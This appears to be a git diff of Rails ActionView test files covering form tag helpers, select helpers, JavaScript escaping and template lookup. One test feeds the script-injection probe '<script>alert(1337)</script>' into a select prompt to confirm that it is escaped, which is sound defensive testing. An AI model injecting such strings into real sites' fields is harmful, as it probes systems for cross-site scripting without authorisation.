+ %Q{<select id="post_origin" name="post[origin]"><optgroup label="&lt;Africa&gt;"><option value="&lt;sa&gt;">&lt;South Africa&gt;</option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option disabled="disabled" value="dk">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
+ grouped_collection_select("post", "origin", dummy_continents, :countries, :continent_name, :country_id, :country_name, :disabled => 'dk')
+ )
+ end
+
+ def test_grouped_collection_select_under_fields_for
+ @post = Post.new
+ @post.origin = 'dk'
+
+ output_buffer = fields_for :post, @post do |f|
+ concat f.grouped_collection_select("origin", dummy_continents, :countries, :continent_name, :country_id, :country_name)
+ end
+
+ assert_dom_equal(
+ %Q{<select id="post_origin" name="post[origin]"><optgroup label="&lt;Africa&gt;"><option value="&lt;sa&gt;">&lt;South Africa&gt;</option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk" selected="selected">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
+ output_buffer
+ )
+ end
+
+ private
+
+ def dummy_posts
+ [ Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
+ Post.new("Babe went home", "Babe", "To a little house", "shh!"),
+ Post.new("Cabe went home", "Cabe", "To a little house", "shh!") ]
+ end
+
+ def dummy_continents
+ [ Continent.new("<Africa>", [Country.new("<sa>", "<South Africa>"), Country.new("so", "Somalia")]),
+ Continent.new("Europe", [Country.new("dk", "Denmark"), Country.new("ie", "Ireland")]) ]
+ end
+end
diff --git a/actionview/test/template/form_tag_helper_test.rb b/actionview/test/template/form_tag_helper_test.rb
new file mode 100644
index 0000000000..84a581b107
--- /dev/null
+++ b/actionview/test/template/form_tag_helper_test.rb
@@ -0,0 +1,656 @@
+require 'abstract_unit'
+
+class FormTagHelperTest < ActionView::TestCase
+ include RenderERBUtils
+
+ tests ActionView::Helpers::FormTagHelper
+
+ def setup
+ super
+ @controller = BasicController.new
+ end
+
+ def hidden_fields(options = {})
+ method = options[:method]
+ enforce_utf8 = options.fetch(:enforce_utf8, true)
+
+ ''.tap do |txt|
+ if enforce_utf8
+ txt << %{<input name="utf8" type="hidden" value="&#x2713;" />}
+ end
+
+ if method && !%w(get post).include?(method.to_s)
+ txt << %{<input name="_method" type="hidden" value="#{method}" />}
+ end
+ end
+ end
+
+ def form_text(action = "http://www.example.com", options = {})
+ remote, enctype, html_class, id, method = options.values_at(:remote, :enctype, :html_class, :id, :method)
+
+ method = method.to_s == "get" ? "get" : "post"
+
+ txt = %{<form accept-charset="UTF-8" action="#{action}"}
+ txt << %{ enctype="multipart/form-data"} if enctype
+ txt << %{ data-remote="true"} if remote
+ txt << %{ class="#{html_class}"} if html_class
+ txt << %{ id="#{id}"} if id
+ txt << %{ method="#{method}">}
+ end
+
+ def whole_form(action = "http://www.example.com", options = {})
+ out = form_text(action, options) + hidden_fields(options)
+
+ if block_given?
+ out << yield << "</form>"
+ end
+
+ out
+ end
+
+ def url_for(options)
+ if options.is_a?(Hash)
+ "http://www.example.com"
+ else
+ super
+ end
+ end
+
+ VALID_HTML_ID = /^[A-Za-z][-_:.A-Za-z0-9]*$/ # see http://www.w3.org/TR/html4/types.html#type-name
+
+ def test_check_box_tag
+ actual = check_box_tag "admin"
+ expected = %(<input id="admin" name="admin" type="checkbox" value="1" />)
+ assert_dom_equal expected, actual
+ end
+
+ def test_check_box_tag_id_sanitized
+ label_elem = root_elem(check_box_tag("project[2][admin]"))
+ assert_match VALID_HTML_ID, label_elem['id']
+ end
+
+ def test_form_tag
+ actual = form_tag
+ expected = whole_form
+ assert_dom_equal expected, actual
+ end
+
+ def test_form_tag_multipart
+ actual = form_tag({}, { 'multipart' => true })
+ expected = whole_form("http://www.example.com", :enctype => true)
+ assert_dom_equal expected, actual
+ end
+
+ def test_form_tag_with_method_patch
+ actual = form_tag({}, { :method => :patch })
+ expected = whole_form("http://www.example.com", :method => :patch)
+ assert_dom_equal expected, actual
+ end
+
+ def test_form_tag_with_method_put
+ actual = form_tag({}, { :method => :put })
+ expected = whole_form("http://www.example.com", :method => :put)
+ assert_dom_equal expected, actual
+ end
+
+ def test_form_tag_with_method_delete
+ actual = form_tag({}, { :method => :delete })
+
+ expected = whole_form("http://www.example.com", :method => :delete)
+ assert_dom_equal expected, actual
+ end
+
+ def test_form_tag_with_remote
+ actual = form_tag({}, :remote => true)
+
+ expected = whole_form("http://www.example.com", :remote => true)
+ assert_dom_equal expected, actual
+ end
+
+ def test_form_tag_with_remote_false
+ actual = form_tag({}, :remote => false)
+
+ expected = whole_form
+ assert_dom_equal expected, actual
+ end
+
+ def test_form_tag_enforce_utf8_true
+ actual = form_tag({}, { :enforce_utf8 => true })
+ expected = whole_form("http://www.example.com", :enforce_utf8 => true)
+ assert_dom_equal expected, actual
+ assert actual.html_safe?
+ end
+
+ def test_form_tag_enforce_utf8_false
+ actual = form_tag({}, { :enforce_utf8 => false })
+ expected = whole_form("http://www.example.com", :enforce_utf8 => false)
+ assert_dom_equal expected, actual
+ assert actual.html_safe?
+ end
+
+ def test_form_tag_with_block_in_erb
+ output_buffer = render_erb("<%= form_tag('http://www.example.com') do %>Hello world!<% end %>")
+
+ expected = whole_form { "Hello world!" }
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_tag_with_block_and_method_in_erb
+ output_buffer = render_erb("<%= form_tag('http://www.example.com', :method => :put) do %>Hello world!<% end %>")
+
+ expected = whole_form("http://www.example.com", :method => "put") do
+ "Hello world!"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_hidden_field_tag
+ actual = hidden_field_tag "id", 3
+ expected = %(<input id="id" name="id" type="hidden" value="3" />)
+ assert_dom_equal expected, actual
+ end
+
+ def test_hidden_field_tag_id_sanitized
+ input_elem = root_elem(hidden_field_tag("item[][title]"))
+ assert_match VALID_HTML_ID, input_elem['id']
+ end
+
+ def test_file_field_tag
+ assert_dom_equal "<input name=\"picsplz\" type=\"file\" id=\"picsplz\" />", file_field_tag("picsplz")
+ end
+
+ def test_file_field_tag_with_options
+ assert_dom_equal "<input name=\"picsplz\" type=\"file\" id=\"picsplz\" class=\"pix\"/>", file_field_tag("picsplz", :class => "pix")
+ end
+
+ def test_password_field_tag
+ actual = password_field_tag
+ expected = %(<input id="password" name="password" type="password" />)
+ assert_dom_equal expected, actual
+ end
+
+ def test_multiple_field_tags_with_same_options
+ options = {class: 'important'}
+ assert_dom_equal %(<input name="title" type="file" id="title" class="important"/>), file_field_tag("title", options)
+ assert_dom_equal %(<input type="password" name="title" id="title" value="Hello!" class="important" />), password_field_tag("title", "Hello!", options)
+ assert_dom_equal %(<input type="text" name="title" id="title" value="Hello!" class="important" />), text_field_tag("title", "Hello!", options)
+ end
+
+ def test_radio_button_tag
+ actual = radio_button_tag "people", "david"
+ expected = %(<input id="people_david" name="people" type="radio" value="david" />)
+ assert_dom_equal expected, actual
+
+ actual = radio_button_tag("num_people", 5)
+ expected = %(<input id="num_people_5" name="num_people" type="radio" value="5" />)
+ assert_dom_equal expected, actual
+
+ actual = radio_button_tag("gender", "m") + radio_button_tag("gender", "f")
+ expected = %(<input id="gender_m" name="gender" type="radio" value="m" /><input id="gender_f" name="gender" type="radio" value="f" />)
+ assert_dom_equal expected, actual
+
+ actual = radio_button_tag("opinion", "-1") + radio_button_tag("opinion", "1")
+ expected = %(<input id="opinion_-1" name="opinion" type="radio" value="-1" /><input id="opinion_1" name="opinion" type="radio" value="1" />)
+ assert_dom_equal expected, actual
+
+ actual = radio_button_tag("person[gender]", "m")
+ expected = %(<input id="person_gender_m" name="person[gender]" type="radio" value="m" />)
+ assert_dom_equal expected, actual
+
+ actual = radio_button_tag('ctrlname', 'apache2.2')
+ expected = %(<input id="ctrlname_apache2.2" name="ctrlname" type="radio" value="apache2.2" />)
+ assert_dom_equal expected, actual
+ end
+
+ def test_select_tag
+ actual = select_tag "people", "<option>david</option>".html_safe
+ expected = %(<select id="people" name="people"><option>david</option></select>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_select_tag_with_multiple
+ actual = select_tag "colors", "<option>Red</option><option>Blue</option><option>Green</option>".html_safe, :multiple => :true
+ expected = %(<select id="colors" multiple="multiple" name="colors"><option>Red</option><option>Blue</option><option>Green</option></select>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_select_tag_disabled
+ actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :disabled => :true
+ expected = %(<select id="places" disabled="disabled" name="places"><option>Home</option><option>Work</option><option>Pub</option></select>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_select_tag_id_sanitized
+ input_elem = root_elem(select_tag("project[1]people", "<option>david</option>"))
+ assert_match VALID_HTML_ID, input_elem['id']
+ end
+
+ def test_select_tag_with_include_blank
+ actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :include_blank => true
+ expected = %(<select id="places" name="places"><option value=""></option><option>Home</option><option>Work</option><option>Pub</option></select>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_select_tag_with_include_blank_false
+ actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, include_blank: false
+ expected = %(<select id="places" name="places"><option>Home</option><option>Work</option><option>Pub</option></select>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_select_tag_with_include_blank_string
+ actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, include_blank: 'Choose'
+ expected = %(<select id="places" name="places"><option value="">Choose</option><option>Home</option><option>Work</option><option>Pub</option></select>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_select_tag_with_prompt
+ actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :prompt => "string"
+ expected = %(<select id="places" name="places"><option value="">string</option><option>Home</option><option>Work</option><option>Pub</option></select>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_select_tag_escapes_prompt
+ actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :prompt => "<script>alert(1337)</script>"
+ expected = %(<select id="places" name="places"><option value="">&lt;script&gt;alert(1337)&lt;/script&gt;</option><option>Home</option><option>Work</option><option>Pub</option></select>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_select_tag_with_prompt_and_include_blank
+ actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :prompt => "string", :include_blank => true
+ expected = %(<select name="places" id="places"><option value="">string</option><option value=""></option><option>Home</option><option>Work</option><option>Pub</option></select>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_select_tag_with_nil_option_tags_and_include_blank
+ actual = select_tag "places", nil, :include_blank => true
+ expected = %(<select id="places" name="places"><option value=""></option></select>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_select_tag_with_nil_option_tags_and_prompt
+ actual = select_tag "places", nil, :prompt => "string"
+ expected = %(<select id="places" name="places"><option value="">string</option></select>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_area_tag_size_string
+ actual = text_area_tag "body", "hello world", "size" => "20x40"
+ expected = %(<textarea cols="20" id="body" name="body" rows="40">\nhello world</textarea>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_area_tag_size_symbol
+ actual = text_area_tag "body", "hello world", :size => "20x40"
+ expected = %(<textarea cols="20" id="body" name="body" rows="40">\nhello world</textarea>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_area_tag_should_disregard_size_if_its_given_as_an_integer
+ actual = text_area_tag "body", "hello world", :size => 20
+ expected = %(<textarea id="body" name="body">\nhello world</textarea>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_area_tag_id_sanitized
+ input_elem = root_elem(text_area_tag("item[][description]"))
+ assert_match VALID_HTML_ID, input_elem['id']
+ end
+
+ def test_text_area_tag_escape_content
+ actual = text_area_tag "body", "<b>hello world</b>", :size => "20x40"
+ expected = %(<textarea cols="20" id="body" name="body" rows="40">\n&lt;b&gt;hello world&lt;/b&gt;</textarea>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_area_tag_unescaped_content
+ actual = text_area_tag "body", "<b>hello world</b>", :size => "20x40", :escape => false
+ expected = %(<textarea cols="20" id="body" name="body" rows="40">\n<b>hello world</b></textarea>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_area_tag_unescaped_nil_content
+ actual = text_area_tag "body", nil, :escape => false
+ expected = %(<textarea id="body" name="body">\n</textarea>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_field_tag
+ actual = text_field_tag "title", "Hello!"
+ expected = %(<input id="title" name="title" type="text" value="Hello!" />)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_field_tag_class_string
+ actual = text_field_tag "title", "Hello!", "class" => "admin"
+ expected = %(<input class="admin" id="title" name="title" type="text" value="Hello!" />)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_field_tag_size_symbol
+ actual = text_field_tag "title", "Hello!", :size => 75
+ expected = %(<input id="title" name="title" size="75" type="text" value="Hello!" />)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_field_tag_size_string
+ actual = text_field_tag "title", "Hello!", "size" => "75"
+ expected = %(<input id="title" name="title" size="75" type="text" value="Hello!" />)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_field_tag_maxlength_symbol
+ actual = text_field_tag "title", "Hello!", :maxlength => 75
+ expected = %(<input id="title" name="title" maxlength="75" type="text" value="Hello!" />)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_field_tag_maxlength_string
+ actual = text_field_tag "title", "Hello!", "maxlength" => "75"
+ expected = %(<input id="title" name="title" maxlength="75" type="text" value="Hello!" />)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_field_disabled
+ actual = text_field_tag "title", "Hello!", :disabled => :true
+ expected = %(<input id="title" name="title" disabled="disabled" type="text" value="Hello!" />)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_field_tag_with_multiple_options
+ actual = text_field_tag "title", "Hello!", :size => 70, :maxlength => 80
+ expected = %(<input id="title" name="title" size="70" maxlength="80" type="text" value="Hello!" />)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_field_tag_id_sanitized
+ input_elem = root_elem(text_field_tag("item[][title]"))
+ assert_match VALID_HTML_ID, input_elem['id']
+ end
+
+ def test_label_tag_without_text
+ actual = label_tag "title"
+ expected = %(<label for="title">Title</label>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_label_tag_with_symbol
+ actual = label_tag :title
+ expected = %(<label for="title">Title</label>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_label_tag_with_text
+ actual = label_tag "title", "My Title"
+ expected = %(<label for="title">My Title</label>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_label_tag_class_string
+ actual = label_tag "title", "My Title", "class" => "small_label"
+ expected = %(<label for="title" class="small_label">My Title</label>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_label_tag_id_sanitized
+ label_elem = root_elem(label_tag("item[title]"))
+ assert_match VALID_HTML_ID, label_elem['for']
+ end
+
+ def test_label_tag_with_block
+ assert_dom_equal('<label>Blocked</label>', label_tag { "Blocked" })
+ end
+
+ def test_label_tag_with_block_and_argument
+ output = label_tag("clock") { "Grandfather" }
+ assert_dom_equal('<label for="clock">Grandfather</label>', output)
+ end
+
+ def test_label_tag_with_block_and_argument_and_options
+ output = label_tag("clock", :id => "label_clock") { "Grandfather" }
+ assert_dom_equal('<label for="clock" id="label_clock">Grandfather</label>', output)
+ end
+
+ def test_boolean_options
+ assert_dom_equal %(<input checked="checked" disabled="disabled" id="admin" name="admin" readonly="readonly" type="checkbox" value="1" />), check_box_tag("admin", 1, true, 'disabled' => true, :readonly => "yes")
+ assert_dom_equal %(<input checked="checked" id="admin" name="admin" type="checkbox" value="1" />), check_box_tag("admin", 1, true, :disabled => false, :readonly => nil)
+ assert_dom_equal %(<input type="checkbox" />), tag(:input, :type => "checkbox", :checked => false)
+ assert_dom_equal %(<select id="people" multiple="multiple" name="people[]"><option>david</option></select>), select_tag("people", "<option>david</option>".html_safe, :multiple => true)
+ assert_dom_equal %(<select id="people_" multiple="multiple" name="people[]"><option>david</option></select>), select_tag("people[]", "<option>david</option>".html_safe, :multiple => true)
+ assert_dom_equal %(<select id="people" name="people"><option>david</option></select>), select_tag("people", "<option>david</option>".html_safe, :multiple => nil)
+ end
+
+ def test_stringify_symbol_keys
+ actual = text_field_tag "title", "Hello!", :id => "admin"
+ expected = %(<input id="admin" name="title" type="text" value="Hello!" />)
+ assert_dom_equal expected, actual
+ end
+
+ def test_submit_tag
+ assert_dom_equal(
+ %(<input name='commit' data-disable-with="Saving..." onclick="alert(&#39;hello!&#39;)" type="submit" value="Save" />),
+ submit_tag("Save", :onclick => "alert('hello!')", :data => { :disable_with => "Saving..." })
+ )
+ end
+
+ def test_submit_tag_with_no_onclick_options
+ assert_dom_equal(
+ %(<input name='commit' data-disable-with="Saving..." type="submit" value="Save" />),
+ submit_tag("Save", :data => { :disable_with => "Saving..." })
+ )
+ end
+
+ def test_submit_tag_with_confirmation
+ assert_dom_equal(
+ %(<input name='commit' type='submit' value='Save' data-confirm="Are you sure?" />),
+ submit_tag("Save", :data => { :confirm => "Are you sure?" })
+ )
+ end
+
+ def test_button_tag
+ assert_dom_equal(
+ %(<button name="button" type="submit">Button</button>),
+ button_tag
+ )
+ end
+
+ def test_button_tag_with_submit_type
+ assert_dom_equal(
+ %(<button name="button" type="submit">Save</button>),
+ button_tag("Save", :type => "submit")
+ )
+ end
+
+ def test_button_tag_with_button_type
+ assert_dom_equal(
+ %(<button name="button" type="button">Button</button>),
+ button_tag("Button", :type => "button")
+ )
+ end
+
+ def test_button_tag_with_reset_type
+ assert_dom_equal(
+ %(<button name="button" type="reset">Reset</button>),
+ button_tag("Reset", :type => "reset")
+ )
+ end
+
+ def test_button_tag_with_disabled_option
+ assert_dom_equal(
+ %(<button name="button" type="reset" disabled="disabled">Reset</button>),
+ button_tag("Reset", :type => "reset", :disabled => true)
+ )
+ end
+
+ def test_button_tag_escape_content
+ assert_dom_equal(
+ %(<button name="button" type="reset" disabled="disabled">&lt;b&gt;Reset&lt;/b&gt;</button>),
+ button_tag("<b>Reset</b>", :type => "reset", :disabled => true)
+ )
+ end
+
+ def test_button_tag_with_block
+ assert_dom_equal('<button name="button" type="submit">Content</button>', button_tag { 'Content' })
+ end
+
+ def test_button_tag_with_block_and_options
+ output = button_tag(:name => 'temptation', :type => 'button') { content_tag(:strong, 'Do not press me') }
+ assert_dom_equal('<button name="temptation" type="button"><strong>Do not press me</strong></button>', output)
+ end
+
+ def test_button_tag_defaults_with_block_and_options
+ output = button_tag(:name => 'temptation', :value => 'within') { content_tag(:strong, 'Do not press me') }
+ assert_dom_equal('<button name="temptation" value="within" type="submit" ><strong>Do not press me</strong></button>', output)
+ end
+
+ def test_button_tag_with_confirmation
+ assert_dom_equal(
+ %(<button name="button" type="submit" data-confirm="Are you sure?">Save</button>),
+ button_tag("Save", :type => "submit", :data => { :confirm => "Are you sure?" })
+ )
+ end
+
+ def test_image_submit_tag_with_confirmation
+ assert_dom_equal(
+ %(<input alt="Save" type="image" src="/images/save.gif" data-confirm="Are you sure?" />),
+ image_submit_tag("save.gif", :data => { :confirm => "Are you sure?" })
+ )
+ end
+
+ def test_color_field_tag
+ expected = %{<input id="car" name="car" type="color" />}
+ assert_dom_equal(expected, color_field_tag("car"))
+ end
+
+ def test_search_field_tag
+ expected = %{<input id="query" name="query" type="search" />}
+ assert_dom_equal(expected, search_field_tag("query"))
+ end
+
+ def test_telephone_field_tag
+ expected = %{<input id="cell" name="cell" type="tel" />}
+ assert_dom_equal(expected, telephone_field_tag("cell"))
+ end
+
+ def test_date_field_tag
+ expected = %{<input id="cell" name="cell" type="date" />}
+ assert_dom_equal(expected, date_field_tag("cell"))
+ end
+
+ def test_time_field_tag
+ expected = %{<input id="cell" name="cell" type="time" />}
+ assert_dom_equal(expected, time_field_tag("cell"))
+ end
+
+ def test_datetime_field_tag
+ expected = %{<input id="appointment" name="appointment" type="datetime" />}
+ assert_dom_equal(expected, datetime_field_tag("appointment"))
+ end
+
+ def test_datetime_local_field_tag
+ expected = %{<input id="appointment" name="appointment" type="datetime-local" />}
+ assert_dom_equal(expected, datetime_local_field_tag("appointment"))
+ end
+
+ def test_month_field_tag
+ expected = %{<input id="birthday" name="birthday" type="month" />}
+ assert_dom_equal(expected, month_field_tag("birthday"))
+ end
+
+ def test_week_field_tag
+ expected = %{<input id="birthday" name="birthday" type="week" />}
+ assert_dom_equal(expected, week_field_tag("birthday"))
+ end
+
+ def test_url_field_tag
+ expected = %{<input id="homepage" name="homepage" type="url" />}
+ assert_dom_equal(expected, url_field_tag("homepage"))
+ end
+
+ def test_email_field_tag
+ expected = %{<input id="address" name="address" type="email" />}
+ assert_dom_equal(expected, email_field_tag("address"))
+ end
+
+ def test_number_field_tag
+ expected = %{<input name="quantity" max="9" id="quantity" type="number" min="1" />}
+ assert_dom_equal(expected, number_field_tag("quantity", nil, :in => 1...10))
+ end
+
+ def test_range_input_tag
+ expected = %{<input name="volume" step="0.1" max="11" id="volume" type="range" min="0" />}
+ assert_dom_equal(expected, range_field_tag("volume", nil, :in => 0..11, :step => 0.1))
+ end
+
+ def test_field_set_tag_in_erb
+ output_buffer = render_erb("<%= field_set_tag('Your details') do %>Hello world!<% end %>")
+
+ expected = %(<fieldset><legend>Your details</legend>Hello world!</fieldset>)
+ assert_dom_equal expected, output_buffer
+
+ output_buffer = render_erb("<%= field_set_tag do %>Hello world!<% end %>")
+
+ expected = %(<fieldset>Hello world!</fieldset>)
+ assert_dom_equal expected, output_buffer
+
+ output_buffer = render_erb("<%= field_set_tag('') do %>Hello world!<% end %>")
+
+ expected = %(<fieldset>Hello world!</fieldset>)
+ assert_dom_equal expected, output_buffer
+
+ output_buffer = render_erb("<%= field_set_tag('', :class => 'format') do %>Hello world!<% end %>")
+
+ expected = %(<fieldset class="format">Hello world!</fieldset>)
+ assert_dom_equal expected, output_buffer
+
+ output_buffer = render_erb("<%= field_set_tag %>")
+
+ expected = %(<fieldset></fieldset>)
+ assert_dom_equal expected, output_buffer
+
+ output_buffer = render_erb("<%= field_set_tag('You legend!') %>")
+
+ expected = %(<fieldset><legend>You legend!</legend></fieldset>)
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_text_area_tag_options_symbolize_keys_side_effects
+ options = { :option => "random_option" }
+ text_area_tag "body", "hello world", options
+ assert_equal options, { :option => "random_option" }
+ end
+
+ def test_submit_tag_options_symbolize_keys_side_effects
+ options = { :option => "random_option" }
+ submit_tag "submit value", options
+ assert_equal options, { :option => "random_option" }
+ end
+
+ def test_button_tag_options_symbolize_keys_side_effects
+ options = { :option => "random_option" }
+ button_tag "button value", options
+ assert_equal options, { :option => "random_option" }
+ end
+
+ def test_image_submit_tag_options_symbolize_keys_side_effects
+ options = { :option => "random_option" }
+ image_submit_tag "submit source", options
+ assert_equal options, { :option => "random_option" }
+ end
+
+ def test_image_label_tag_options_symbolize_keys_side_effects
+ options = { :option => "random_option" }
+ label_tag "submit source", "title", options
+ assert_equal options, { :option => "random_option" }
+ end
+
+ def protect_against_forgery?
+ false
+ end
+
+ private
+
+ def root_elem(rendered_content)
+ Nokogiri::HTML::DocumentFragment.parse(rendered_content).children.first # extract from nodeset
+ end
+end
diff --git a/actionview/test/template/html_test.rb b/actionview/test/template/html_test.rb
new file mode 100644
index 0000000000..549c12c88c
--- /dev/null
+++ b/actionview/test/template/html_test.rb
@@ -0,0 +1,17 @@
+require 'abstract_unit'
+
+class HTMLTest < ActiveSupport::TestCase
+ test 'formats returns symbol for recognized MIME type' do
+ assert_equal [:html], ActionView::Template::HTML.new('', :html).formats
+ end
+
+ test 'formats returns string for recognized MIME type when MIME does not have symbol' do
+ foo = Mime::Type.lookup("foo")
+ assert_nil foo.to_sym
+ assert_equal ['foo'], ActionView::Template::HTML.new('', foo).formats
+ end
+
+ test 'formats returns string for unknown MIME type' do
+ assert_equal ['foo'], ActionView::Template::HTML.new('', 'foo').formats
+ end
+end
diff --git a/actionview/test/template/javascript_helper_test.rb b/actionview/test/template/javascript_helper_test.rb
new file mode 100644
index 0000000000..9ba7f64ad1
--- /dev/null
+++ b/actionview/test/template/javascript_helper_test.rb
@@ -0,0 +1,69 @@
+require 'abstract_unit'
+
+class JavaScriptHelperTest < ActionView::TestCase
+ tests ActionView::Helpers::JavaScriptHelper
+
+ def _evaluate_assigns_and_ivars() end
+
+ attr_accessor :formats, :output_buffer
+
+ def update_details(details)
+ @details = details
+ yield if block_given?
+ end
+
+ setup do
+ @old_escape_html_entities_in_json = ActiveSupport.escape_html_entities_in_json
+ ActiveSupport.escape_html_entities_in_json = true
+ @template = self
+ end
+
+ def teardown
+ ActiveSupport.escape_html_entities_in_json = @old_escape_html_entities_in_json
+ end
+
+ def test_escape_javascript
+ assert_equal '', escape_javascript(nil)
+ assert_equal %(This \\"thing\\" is really\\n netos\\'), escape_javascript(%(This "thing" is really\n netos'))
+ assert_equal %(backslash\\\\test), escape_javascript( %(backslash\\test) )
+ assert_equal %(dont <\\/close> tags), escape_javascript(%(dont </close> tags))
+ assert_equal %(unicode &#x2028; newline), escape_javascript(%(unicode \342\200\250 newline).force_encoding(Encoding::UTF_8).encode!)
+ assert_equal %(unicode &#x2029; newline), escape_javascript(%(unicode \342\200\251 newline).force_encoding(Encoding::UTF_8).encode!)
+
+ assert_equal %(dont <\\/close> tags), j(%(dont </close> tags))
+ end
+
+ def test_escape_javascript_with_safebuffer
+ given = %('quoted' "double-quoted" new-line:\n </closed>)
+ expect = %(\\'quoted\\' \\"double-quoted\\" new-line:\\n <\\/closed>)
+ assert_equal expect, escape_javascript(given)
+ assert_equal expect, escape_javascript(ActiveSupport::SafeBuffer.new(given))
+ assert_instance_of String, escape_javascript(given)
+ assert_instance_of ActiveSupport::SafeBuffer, escape_javascript(ActiveSupport::SafeBuffer.new(given))
+ end
+
+ def test_javascript_tag
+ self.output_buffer = 'foo'
+
+ assert_dom_equal "<script>\n//<![CDATA[\nalert('hello')\n//]]>\n</script>",
+ javascript_tag("alert('hello')")
+
+ assert_equal 'foo', output_buffer, 'javascript_tag without a block should not concat to output_buffer'
+ end
+
+ # Setting the :extname option will control what extension (if any) is appended to the url for assets
+ def test_javascript_include_tag
+ assert_dom_equal "<script src='/foo.js'></script>", javascript_include_tag('/foo')
+ assert_dom_equal "<script src='/foo'></script>", javascript_include_tag('/foo', extname: false )
+ assert_dom_equal "<script src='/foo.bar'></script>", javascript_include_tag('/foo', extname: '.bar' )
+ end
+
+ def test_javascript_tag_with_options
+ assert_dom_equal "<script id=\"the_js_tag\">\n//<![CDATA[\nalert('hello')\n//]]>\n</script>",
+ javascript_tag("alert('hello')", :id => "the_js_tag")
+ end
+
+ def test_javascript_cdata_section
+ assert_dom_equal "\n//<![CDATA[\nalert('hello')\n//]]>\n", javascript_cdata_section("alert('hello')")
+ end
+end
diff --git a/actionpack/test/template/log_subscriber_test.rb b/actionview/test/template/log_subscriber_test.rb
index 7f4c84929f..7f4c84929f 100644
--- a/actionpack/test/template/log_subscriber_test.rb
+++ b/actionview/test/template/log_subscriber_test.rb
diff --git a/actionview/test/template/lookup_context_test.rb b/actionview/test/template/lookup_context_test.rb
new file mode 100644
index 0000000000..4f7823045e
--- /dev/null
+++ b/actionview/test/template/lookup_context_test.rb
@@ -0,0 +1,282 @@
+require "abstract_unit"
+require "abstract_controller/rendering"
+
+class LookupContextTest < ActiveSupport::TestCase
+ def setup
+ @lookup_context = ActionView::LookupContext.new(FIXTURE_LOAD_PATH, {})
+ ActionView::LookupContext::DetailsKey.clear
+ end
+
+ def teardown
+ I18n.locale = :en
+ end
+
+ test "allows to override default_formats with ActionView::Base.default_formats" do
+ begin
+ formats = ActionView::Base.default_formats
+ ActionView::Base.default_formats = [:foo, :bar]
+
+ assert_equal [:foo, :bar], ActionView::LookupContext.new([]).default_formats
+ ensure
+ ActionView::Base.default_formats = formats
+ end
+ end
+
+ test "process view paths on initialization" do
+ assert_kind_of ActionView::PathSet, @lookup_context.view_paths
+ end
+
+ test "normalizes details on initialization" do
+ assert_equal Mime::SET, @lookup_context.formats
+ assert_equal :en, @lookup_context.locale
+ end
+
+ test "allows me to freeze and retrieve frozen formats" do
+ @lookup_context.formats.freeze
+ assert @lookup_context.formats.frozen?
+ end
+
+ test "provides getters and setters for variants" do
+ @lookup_context.variants = [:mobile]
+ assert_equal [:mobile], @lookup_context.variants
+ end
+
+ test "provides getters and setters for formats" do
+ @lookup_context.formats = [:html]
+ assert_equal [:html], @lookup_context.formats
+ end
+
+ test "handles */* formats" do
+ @lookup_context.formats = ["*/*"]
+ assert_equal Mime::SET, @lookup_context.formats
+ end
+
+ test "handles explicitly defined */* formats fallback to :js" do
+ @lookup_context.formats = [:js, Mime::ALL]
+ assert_equal [:js, *Mime::SET.symbols], @lookup_context.formats
+ end
+
+ test "adds :html fallback to :js formats" do
+ @lookup_context.formats = [:js]
+ assert_equal [:js, :html], @lookup_context.formats
+ end
+
+ test "provides getters and setters for locale" do
+ @lookup_context.locale = :pt
+ assert_equal :pt, @lookup_context.locale
+ end
+
+ test "changing lookup_context locale, changes I18n.locale" do
+ @lookup_context.locale = :pt
+ assert_equal :pt, I18n.locale
+ end
+
+ test "delegates changing the locale to the I18n configuration object if it contains a lookup_context object" do
+ begin
+ I18n.config = ActionView::I18nProxy.new(I18n.config, @lookup_context)
+ @lookup_context.locale = :pt
+ assert_equal :pt, I18n.locale
+ assert_equal :pt, @lookup_context.locale
+ ensure
+ I18n.config = I18n.config.original_config
+ end
+
+ assert_equal :pt, I18n.locale
+ end
+
+ test "find templates using the given view paths and configured details" do
+ template = @lookup_context.find("hello_world", %w(test))
+ assert_equal "Hello world!", template.source
+
